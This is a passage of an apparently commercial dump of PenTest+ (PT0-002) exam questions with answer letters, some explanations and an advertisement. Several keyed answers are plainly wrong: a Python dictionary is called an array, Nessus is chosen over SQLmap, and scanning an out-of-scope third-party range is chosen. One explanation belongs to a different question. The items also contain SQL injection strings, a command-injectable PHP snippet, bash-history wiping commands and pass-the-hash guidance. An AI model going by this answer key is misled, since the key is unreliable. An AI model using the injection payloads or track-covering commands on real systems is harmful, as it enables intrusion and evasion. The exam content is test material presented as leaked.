//192.168.100.56/print$ Mapping: DENIED, Listing: N/A
//192.168.100.56/web     Mapping: OK, Listing: OK
//192.168.100.56/IPC$    [E] Can't understand response:
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
enum4linux complete on Mon Jul 20 10:14:37 2020
```

Which of the following commands should the penetration tester run NEXT?

A. smbspool //192.160.100.56/print$
B. net rpc share -S 192.168.100.56 -U ''
C. smbget //192.168.100.56/web -U ''
D. smbclient //192.168.100.56/web -U '' -N

Answer: D

Explanation:
A vulnerability scan is a type of assessment that helps to identify vulnerabilities in a network or system. It scans systems for potential vulnerabilities, misconfigurations, and outdated software. Based on the output from a vulnerability scan, a penetration tester can identify vulnerabilities that may be exploited to gain access to a system. In this scenario, the output from the penetration testing tool shows that 100 hosts contained findings due to improper patch management. This indicates that the vulnerability scan detected vulnerabilities that could have been prevented through proper patch management. Therefore, the most likely test performed by the penetration tester is a vulnerability scan.

NEW QUESTION 151
The following output is from reconnaissance on a public-facing banking website:

```
...
Start 2021-02-02 18:24:59 -->> 192.168.1.66:443 (192.168.1.66) <<--
rDNS (192.168.1.66): centralbankwebservice.local
Service detected: HTTP

Testing protocols via sockets except NPN+ALPN
SSLv2 not offered (OK)
SSLv3 not offered (OK)
TLS 1 offered (deprecated)
TLS 1.1 not offered
TLS 1.2 not offered and downgraded to a weaker protocol
TLS 1.3 not offered and downgraded to a weaker protocol
NPN/SPDY not offered
ALPN/HTTP2 not offered
Testing cipher categories
NULL ciphers (no encryption) not offered (OK)
Anonymous NULL Ciphers (no authentication) not offered (OK)
Export ciphers (w/o ADH+NULL) not offered (OK)
LOW: 64 Bit + DES, RC[2,4] (w/o export) offered (NOT ok)
Triple DES Ciphers / IDEA offered
Obsolete CBC ciphers (AES, ARIA etc.) offered
Strong encryption (AEAD ciphers) not offered

Testing robust (perfect) forward secrecy, (P)FS -- omitting Null Authentication/Encryption, 3DES, RC4
No ciphers supporting Forward Secrecy offered

Testing server preferences
Has server cipher order? no (NOT ok)
Negotiated protocol TLSv1
Negotiated cipher AES256-SHA (limited sense as client will pick)
...
```

Based on these results, which of the following attacks is MOST likely to succeed?

A. A birthday attack on 64-bit ciphers (Sweet32)

B. An attack that breaks RC4 encryption
C. An attack on a session ticket extension (Ticketbleed)
D. A Heartbleed attack

Answer: B

NEW QUESTION 154
A penetration tester conducted an assessment on a web server. The logs from this session show the following:
http://www.thecompanydomain.com/servicestatus.php?serviceID=892&serviceID=892 ' ; DROP TABLE SERVICES; -
Which of the following attacks is being attempted?

A. Clickjacking
B. Session hijacking
C. Parameter pollution
D. Cookie hijacking
E. Cross-site scripting

Answer: C

NEW QUESTION 155
A penetration tester finds a PHP script used by a web application in an unprotected internal source code repository. After reviewing the code, the tester identifies the following:

```
if(isset ($_POST ['item'])){
        echo shell_exec ("/http/www/cgi-bin/queryitem ".$_POST ['item']);
}
```

Which of the following combinations of tools would the penetration tester use to exploit this script?

A. Hydra and crunch
B. Netcat and cURL
C. Burp Suite and DIRB
D. Nmap and OWASP ZAP

Answer: B

NEW QUESTION 156
A penetration tester is starting an assessment but only has publicly available information about the target company. The client is aware of this exercise and is preparing for the test.
Which of the following describes the scope of the assessment?

A. Partially known environment testing
B. Known environment testing
C. Unknown environment testing
D. Physical environment testing

Answer: C

NEW QUESTION 161
During an engagement, a penetration tester found the following list of strings inside a file:

```
3af068faa81326ffe6ca48e2ab36a779
48ec2f4f526303a9ded67938e6ce11c6
9493bf035c534197d9810a5e65a10632
C847b4a2e76ec1f9cbbbe30d2046d5e8
ed225542767a810e6fceebf640164b140
cfbe1fdd6e6b0c5c9abd8c947f272ef4
c05cbc5a69bcc91f56a7e0a6c391ad79
9ee3564cbf15421ebabc43dcb67949ad
5a2ad0bcb902e20c4efcf057b01050be
4865a2ed25ed18515b7e97beb2b40346
b0236938a6518fc65b72159687e3a27b
9c96354712595ef2ff96675496d3a464
a5ab3f6c6159b85209ea0c186531a49f
9b38816e791f1400245f4c629a503bc8
d12e624a20d54fd3b34b89ee7169df17
```

Which of the following is the BEST technique to determine the known plaintext of the strings?

A. Dictionary attack
B. Rainbow table attack
C. Brute-force attack
D. Credential-stuffing attack

Answer: B

NEW QUESTION 162
A consulting company is completing the ROE during scoping. Which of the following should be included in the ROE?

A. Cost ofthe assessment
B. Report distribution
C. Testing restrictions
D. Liability

Answer: B

NEW QUESTION 163
A Chief Information Security Officer wants a penetration tester to evaluate whether a recently installed firewall is protecting a subnetwork on which many decades-old legacy systems are connected. The penetration tester decides to run an OS discovery and a full port scan to identify all the systems and any potential vulnerability. Which of the following should the penetration tester consider BEFORE running a scan?

A. The timing of the scan
B. The bandwidth limitations
C. The inventory of assets and versions
D. The type of scan

Answer: C

NEW QUESTION 167
A company is concerned that its cloud service provider is not adequately protecting the VMs housing its software development. The VMs are housed in a datacenter with other companies sharing physical resources. Which of the following attack types is MOST concerning to the company?

A. Data flooding
B. Session riding
C. Cybersquatting
D. Side channel

Answer: D

Explanation:
https://www.techtarget.com/searchsecurity/definition/side-channel-attack#:~:text=Side%2Dchannel%20attacks%

NEW QUESTION 172
When planning a penetration-testing effort, clearly expressing the rules surrounding the optimal time of day for test execution is important because:

A. security compliance regulations or laws may be violated.
B. testing can make detecting actual APT more challenging.
C. testing adds to the workload of defensive cyber- and threat-hunting teams.
D. business and network operations may be impacted.

Answer: D

NEW QUESTION 173
A penetration tester has established an on-path position between a target host and local network services but has not been able to establish an on-path position between the target host and the Internet. Regardless, the tester would like to subtly redirect HTTP connections to a spoofed server IP. Which of the following methods would BEST support the objective?

A. Gain access to the target host and implant malware specially crafted for this purpose.
B. Exploit the local DNS server and add/update the zone records with a spoofed A record.
C. Use the Scapy utility to overwrite name resolution fields in the DNS query response.
D. Proxy HTTP connections from the target host to that of the spoofed host.

Answer: D

NEW QUESTION 177
A penetration tester is examining a Class C network to identify active systems quickly. Which of the following commands should the penetration tester use?

A. nmap sn 192.168.0.1/16
B. nmap sn 192.168.0.1-254
C. nmap sn 192.168.0.1 192.168.0.1.254
D. nmap sN 192.168.0.0/24

Answer: B

NEW QUESTION 182
A penetration tester was conducting a penetration test and discovered the network traffic was no longer reaching the client's IP address. The tester later discovered the SOC had used sinkholing on the penetration tester's IP address. Which of the following BEST describes what happened?

A. The penetration tester was testing the wrong assets
B. The planning process failed to ensure all teams were notified
C. The client was not ready for the assessment to start
D. The penetration tester had incorrect contact information

Answer: B

NEW QUESTION 184
A penetration tester wants to identify CVEs that can be leveraged to gain execution on a Linux server that has an SSHD running. Which of the following would BEST support this task?

A. Run nmap with the –o, -p22, and –sC options set against the target
B. Run nmap with the –sV and –p22 options set against the target
C. Run nmap with the --script vulners option set against the target
D. Run nmap with the –sA option set against the target

Answer: A

NEW QUESTION 187
A company that developers embedded software for the automobile industry has hired a penetration-testing team to evaluate the security of its products prior to delivery. The penetration-testing team has stated its intent to subcontract to a reverse-engineering team capable of analyzing binaries to develop proof-of-concept exploits. The software company has requested additional background investigations on the reverse- engineering team prior to approval of the subcontract. Which of the following concerns would BEST support the software company's request?

A. The reverse-engineering team may have a history of selling exploits to third parties.
B. The reverse-engineering team may use closed-source or other non-public information feeds for its analysis.
C. The reverse-engineering team may not instill safety protocols sufficient for the automobile industry.
D. The reverse-engineering team will be given access to source code for analysis.

Answer: A

NEW QUESTION 189
A penetration tester, who is doing an assessment, discovers an administrator has been exfiltrating proprietary company information. The administrator offers to pay the tester to keep quiet. Which of the following is the BEST action for the tester to take?

A. Check the scoping document to determine if exfiltration is within scope.
B. Stop the penetration test.
C. Escalate the issue.
D. Include the discovery and interaction in the daily report.

Answer: B

Explanation:
"Another reason to communicate with the customer is to let the customer know if something unexpected arises while doing the pentest, such as if a critical vulnerability is found on a system, a new target system is found that is outside the scope of the penetration test targets, or a security breach is discovered when doing the penetration test. You will need to discuss how to handle such discoveries and who to contact if those events occur. In case of such events, you typically stop the pentest temporarily to discuss the issue with the customer, then resume once a resolution has been determined."

NEW QUESTION 193
In Python socket programming, SOCK_DGRAM type is:

A. reliable.
B. matrixed.
C. connectionless.
D. slower.

Answer: C

Explanation:
Connectionless due to the Datagram portion mentioned so that would mean its using UDP.

NEW QUESTION 194
A penetration tester found the following valid URL while doing a manual assessment of a web application: http://www.example.com/product.php?id=123987.
Which of the following automated tools would be best to use NEXT to try to identify a vulnerability in this URL?

A. SQLmap
B. Nessus
C. Nikto
D. DirBuster

Answer: B

NEW QUESTION 195
Which of the following situations would MOST likely warrant revalidation of a previous security assessment?

A. After detection of a breach
B. After a merger or an acquisition
C. When an organization updates its network firewall configurations
D. When most of the vulnerabilities have been remediated

Answer: D

NEW QUESTION 198

A penetration tester obtained the following results after scanning a web server using the dirb utility:

...
GENERATED WORDS: 4612

Scanning URL: http://10.2.10.13/ ---
+
http://10.2.10.13/about (CODE:200|SIZE:1520)
+
http://10.2.10.13/home.html (CODE:200|SIZE:214)
+
http://10.2.10.13/index.html (CODE:200|SIZE:214)
+
http://10.2.10.13/info (CODE:200|SIZE:214)
...
DOWNLOADED: 4612 – FOUND: 4
Which of the following elements is MOST likely to contain useful information for the penetration tester?

A. index.html
B. about
C. info
D. home.html

Answer: B

NEW QUESTION 201
A client wants a security assessment company to perform a penetration test against its hot site. The purpose of the test is to determine the effectiveness of the defenses that protect against disruptions to business continuity. Which of the following is the MOST important action to take before starting this type of assessment?

A. Ensure the client has signed the SOW.
B. Verify the client has granted network access to the hot site.
C. Determine if the failover environment relies on resources not owned by the client.
D. Establish communication and escalation procedures with the client.

Answer: A

NEW QUESTION 203
A penetration tester is reviewing the following SOW prior to engaging with a client:
"Network diagrams, logical and physical asset inventory, and employees' names are to be treated as client confidential. Upon completion of the engagement, the penetration tester will submit findings to the client's Chief Information Security Officer (CISO) via encrypted protocols and subsequently dispose of all findings by erasing them in a secure manner."
Based on the information in the SOW, which of the following behaviors would be considered unethical? (Choose two.)

A. Utilizing proprietary penetration-testing tools that are not available to the public or to the client for auditing and inspection
B. Utilizing public-key cryptography to ensure findings are delivered to the CISO upon completion of the engagement
C. Failing to share with the client critical vulnerabilities that exist within the client architecture to appease the client's senior leadership team
D. Seeking help with the engagement in underground hacker forums by sharing the client's public IP address
E. Using a software-based erase tool to wipe the client's findings from the penetration tester's laptop
F. Retaining the SOW within the penetration tester's company for future use so the sales team can plan future engagements

Answer: CD

NEW QUESTION 208
A penetration tester downloaded the following Perl script that can be used to identify vulnerabilities in network switches. However, the script is not working properly.
Which of the following changes should the tester apply to make the script work as intended?

A. Change line 2 to $ip= €10.192.168.254€;
B. Remove lines 3, 5, and 6.
C. Remove line 6.
D. Move all the lines below line 7 to the top of the script.

Answer: B

Explanation:
https://www.asc.ohio-state.edu/lewis.239/Class/Perl/perl.html Example script:
#!/usr/bin/perl
$ip=$argv[1]; attack($ip); sub attack { print("x");
}

NEW QUESTION 211
Which of the following types of information would MOST likely be included in an application security assessment report addressed to developers? (Choose two.)

A. Use of non-optimized sort functions
B. Poor input sanitization
C. Null pointer dereferences
D. Non-compliance with code style guide
E. Use of deprecated Javadoc tags
F. A cydomatic complexity score of 3

Answer: BC

NEW QUESTION 215
A new client hired a penetration-testing company for a month-long contract for various security assessments against the client's new service. The client is expecting to make the new service publicly available shortly after the assessment is complete and is planning to fix any findings, except for critical issues, after the service is made public. The client wants a simple report structure and does not want to receive daily findings.
Which of the following is most important for the penetration tester to define FIRST?

A. Establish the format required by the client.
B. Establish the threshold of risk to escalate to the client immediately.
C. Establish the method of potential false positives.
D. Establish the preferred day of the week for reporting.

Answer: B

NEW QUESTION 219
A penetration tester has gained access to a network device that has a previously unknown IP range on an interface. Further research determines this is an always-on VPN tunnel to a third-party supplier.
Which of the following is the BEST action for the penetration tester to take?

A. Utilize the tunnel as a means of pivoting to other internal devices.
B. Disregard the IP range, as it is out of scope.
C. Stop the assessment and inform the emergency contact.
D. Scan the IP range for additional systems to exploit.

Answer: D

NEW QUESTION 221
The results of an Nmap scan are as follows:
Starting Nmap 7.80 (https://nmap.org) at 2021-01-24 01:10 EST
Nmap scan report for (10.2.1.22) Host is up (0.0102s latency).
Not shown: 998 filtered ports Port State Service
80/tcp open http
|_http-title: 80F 22% RH 1009.1MB (text/html)
|_http-slowloris-check:
| VULNERABLE:
| Slowloris DoS Attack
| <..>
Device type: bridge|general purpose
Running (JUST GUESSING) : QEMU (95%)
OS CPE: cpe:/a:qemu:qemu
No exact OS matches found for host (test conditions non-ideal).
OS detection performed. Please report any incorrect results at https://nmap.org/submit/. Nmap done: 1 IP address (1 host up) scanned in 107.45 seconds
Which of the following device types will MOST likely have a similar response? (Choose two.)

A. Network device
B. Public-facing web server
C. Active Directory domain controller
D. IoT/embedded device
E. Exposed RDP
F. Print queue

Answer: BD

Explanation:
https://www.netscout.com/what-is-ddos/slowloris-attacks
From the http-title in the output, this looks like an IoT device with RH implying Relative Humidity, that offers a web-based interface for visualizing the results.

NEW QUESTION 222
A red team completed an engagement and provided the following example in the report to describe how the team gained access to a web server:
x' OR role LIKE '%admin%
Which of the following should be recommended to remediate this vulnerability?

A. Multifactor authentication
B. Encrypted communications
C. Secure software development life cycle
D. Parameterized queries

Answer: D

NEW QUESTION 227
Given the following code:

```
systems = {
        "10.10.10.1" : "Windows 10",
        "10.10.10.2" : "Windows 10",
        "10.10.10.3" : "Windows 2016",
        "10.10.10.4" : "Linux"
}
```

Which of the following data structures is systems?

A. A tuple
B. A tree
C. An array
D. A dictionary

Answer: C

NEW QUESTION 228
A penetration tester discovers that a web server within the scope of the engagement has already been compromised with a backdoor. Which of the following should the penetration tester do NEXT?

A. Forensically acquire the backdoor Trojan and perform attribution
B. Utilize the backdoor in support of the engagement
C. Continue the engagement and include the backdoor finding in the final report
D. Inform the customer immediately about the backdoor

Answer: D

NEW QUESTION 229
A penetration tester has extracted password hashes from the lsass.exe memory process. Which of the following should the tester perform NEXT to pass the hash and provide persistence with the newly acquired credentials?

A. Use Patator to pass the hash and Responder for persistence.
B. Use Hashcat to pass the hash and Empire for persistence.
C. Use a bind shell to pass the hash and WMI for persistence.
D. Use Mimikatz to pass the hash and PsExec for persistence.

Answer: D

Explanation:
Mimikatz is a credential hacking tool that can be used to extract logon passwords from the LSASS process and pass them to other systems. Once the tester has the hashes, they can then use PsExec, a command-line utility from Sysinternals, to pass the hash to the remote system and authenticate with the new credentials. This provides the tester with persistence on the system, allowing them to access it even after a reboot.
"A penetration tester who has extracted password hashes from the lsass.exe memory process can use various tools to pass the hash and gain access to other systems using the same credentials. One tool commonly used for this purpose is Mimikatz, which can extract plaintext passwords from memory or provide a pass-the-hash capability. After gaining access to a system, the tester can use various tools for persistence, such as PsExec or WMI." (CompTIA PenTest+ Study Guide, p. 186)

NEW QUESTION 230
Which of the following documents must be signed between the penetration tester and the client to govern how any provided information is managed before, during, and after the engagement?

A. MSA
B. NDA
C. SOW
D. ROE

Answer: B

NEW QUESTION 232
A penetration tester is testing input validation on a search form that was discovered on a website. Which of the following characters is the BEST option to test the website for vulnerabilities?

A. Comma
B. Double dash
C. Single quote
D. Semicolon

Answer: C

NEW QUESTION 233
A client would like to have a penetration test performed that leverages a continuously updated TTPs framework and covers a wide variety of enterprise systems and networks. Which of the following methodologies should be used to BEST meet the client's expectations?

A. OWASP Top 10
B. MITRE ATT&CK framework
C. NIST Cybersecurity Framework

D. The Diamond Model of Intrusion Analysis

Answer: B

NEW QUESTION 237
A penetration tester discovered that a client uses cloud mail as the company's email system. During the penetration test, the tester set up a fake cloud mail login page and sent all company employees an email that stated their inboxes were full and directed them to the fake login page to remedy the issue. Which of the following BEST describes this attack?

A. Credential harvesting
B. Privilege escalation
C. Password spraying
D. Domain record abuse

Answer: A

NEW QUESTION 238
A penetration tester gains access to a system and establishes persistence, and then runs the following commands:
cat /dev/null > temp
touch –r .bash_history temp mv temp .bash_history
Which of the following actions is the tester MOST likely performing?

A. Redirecting Bash history to /dev/null
B. Making a copy of the user's Bash history for further enumeration
C. Covering tracks by clearing the Bash history
D. Making decoy files on the system to confuse incident responders

Answer: C

NEW QUESTION 240
Which of the following is a rules engine for managing public cloud accounts and resources?

A. Cloud Custodian
B. Cloud Brute
C. Pacu
D. Scout Suite

Answer: A

Explanation:
Cloud Custodian is a rules engine for managing public cloud accounts and resources. It allows users to define policies to enable a well managed cloud infrastructure, that's both secure and cost optimized. It consolidates many of the adhoc scripts organizations have into a lightweight and flexible tool, with unified metrics and reporting.

NEW QUESTION 243
Given the following script:

```
Line
1    #!/usr/bin/python3

Line
2    from scapy.all import *

Line
3    a = IP(dst='10.10.10.10')/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname='www.comptia.org'))

Line
4    b = sr1(a, verbose=0)

Line
5    for x in range(b[DNS].count):

Line
6        print(b[DNSRR][x].rdata
```

Which of the following BEST characterizes the function performed by lines 5 and 6?

A. Retrieves the start-of-authority information for the zone on DNS server 10.10.10.10
B. Performs a single DNS query for www.comptia.org and prints the raw data output
C. Loops through variable b to count the results returned for the DNS query and prints that count to screen
D. Prints each DNS query result already stored in variable b

Answer: D

NEW QUESTION 244

A penetration tester needs to perform a vulnerability scan against a web server. Which of the following tools is the tester MOST likely to choose?

A. Nmap
B. Nikto
C. Cain and Abel
D. Ethercap

Answer: B

Explanation:
https://hackertarget.com/nikto-website-scanner/

NEW QUESTION 246
A company is concerned that its cloud VM is vulnerable to a cyberattack and proprietary data may be stolen. A penetration tester determines a vulnerability does exist and exploits the vulnerability by adding a fake VM instance to the IaaS component of the client's VM. Which of the following cloud attacks did the penetration tester MOST likely implement?

A. Direct-to-origin
B. Cross-site scripting
C. Malware injection
D. Credential harvesting

Answer: D

NEW QUESTION 248
A security engineer identified a new server on the network and wants to scan the host to determine if it is running an approved version of Linux and a patched version of Apache. Which of the following commands will accomplish this task?

A. nmap –f –sV –p80 192.168.1.20
B. nmap –sS –sL –p80 192.168.1.20
C. nmap –A –T4 –p80 192.168.1.20
D. nmap –O –v –p80 192.168.1.20

Answer: C

NEW QUESTION 250
The output from a penetration testing tool shows 100 hosts contained findings due to improper patch management. Which of the following did the penetration tester perform?

A. A vulnerability scan
B. A WHOIS lookup
C. A packet capture
D. An Nmap scan

Answer: A

Explanation:
A vulnerability scan is a type of penetration testing tool that is used to scan a network for vulnerabilities. A vulnerability scan can detect misconfigurations, missing patches, and other security issues that could be exploited by attackers. In this case, the output shows that 100 hosts had findings due to improper patch management, which means that the tester performed a vulnerability scan.

NEW QUESTION 253
A client has requested that the penetration test scan include the following UDP services: SNMP, NetBIOS, and DNS. Which of the following Nmap commands will perform the scan?

A. nmap –vv sUV –p 53, 123-159 10.10.1.20/24 –oA udpscan
B. nmap –vv sUV –p 53,123,161-162 10.10.1.20/24 –oA udpscan
C. nmap –vv sUV –p 53,137-139,161-162 10.10.1.20/24 –oA udpscan
D. nmap –vv sUV –p 53, 122-123, 160-161 10.10.1.20/24 –oA udpscan

Answer: C

NEW QUESTION 257
A penetration tester successfully performed an exploit on a host and was able to hop from VLAN 100 to VLAN 200. VLAN 200 contains servers that perform financial transactions, and the penetration tester now wants the local interface of the attacker machine to have a static ARP entry in the local cache. The attacker machine has the following:
IP Address: 192.168.1.63
Physical Address: 60-36-dd-a6-c5-33
Which of the following commands would the penetration tester MOST likely use in order to establish a static ARP entry successfully?

A. tcpdump -i eth01 arp and arp[6:2] == 2
B. arp -s 192.168.1.63 60-36-DD-A6-C5-33
C. ipconfig /all findstr /v 00-00-00 | findstr Physical
D. route add 192.168.1.63 mask 255.255.255.0 192.168.1.1

Answer: B

NEW QUESTION 258
Which of the following documents is agreed upon by all parties associated with the penetration-testing engagement and defines the scope, contacts, costs, duration, and deliverables?

A. SOW
B. SLA
C. MSA
D. NDA

Answer: A

NEW QUESTION 260
Which of the following describe the GREATEST concerns about using third-party open-source libraries in application code? (Choose two.)

A. The libraries may be vulnerable
B. The licensing of software is ambiguous
C. The libraries' code bases could be read by anyone
D. The provenance of code is unknown
E. The libraries may be unsupported
F. The libraries may break the application

Answer: AC

NEW QUESTION 264
Which of the following BEST explains why a penetration tester cannot scan a server that was previously scanned successfully?

A. The IP address is wrong.
B. The server is unreachable.
C. The IP address is on the blocklist.
D. The IP address is on the allow list.

Answer: C

Explanation:
The most likely explanation for why a penetration tester cannot scan a server that was previously scanned successfully is that the IP address is on the blocklist. Blocklists are used to prevent malicious actors from scanning servers, and if the IP address of the server is on the blocklist, the scanning process will be blocked.

NEW QUESTION 269
Which of the following types of information should be included when writing the remediation section of a penetration test report to be viewed by the systems administrator and technical staff?

A. A quick description of the vulnerability and a high-level control to fix it
B. Information regarding the business impact if compromised
C. The executive summary and information regarding the testing company
D. The rules of engagement from the assessment

Answer: A

Explanation:
The systems administrator and the technical stuff would be more interested in the technical aspect of the findings

NEW QUESTION 271
During an assessment, a penetration tester obtains a list of 30 email addresses by crawling the target company's website and then creates a list of possible usernames based on the email address format. Which of the following types of attacks would MOST likely be used to avoid account lockout?

A. Mask
B. Rainbow
C. Dictionary
D. Password spraying

Answer: D

NEW QUESTION 273
......

Thank You for Trying Our Product

We offer two products:

1st - We have Practice Tests Software with Actual Exam Questions

2nd - Questons and Answers in PDF Format

PT0-002 Practice Exam Features:

* PT0-002 Questions and Answers Updated Frequently

* PT0-002 Practice Questions Verified by Expert Senior Certified Staff

* PT0-002 Most Realistic Questions that Guarantee you a Pass on Your FirstTry

* PT0-002 Practice Test Questions in Multiple Choice Formats and Updatesfor 1 Year

100% Actual & Verified — Instant Download, Please Click
Order The PT0-002 Practice Test Here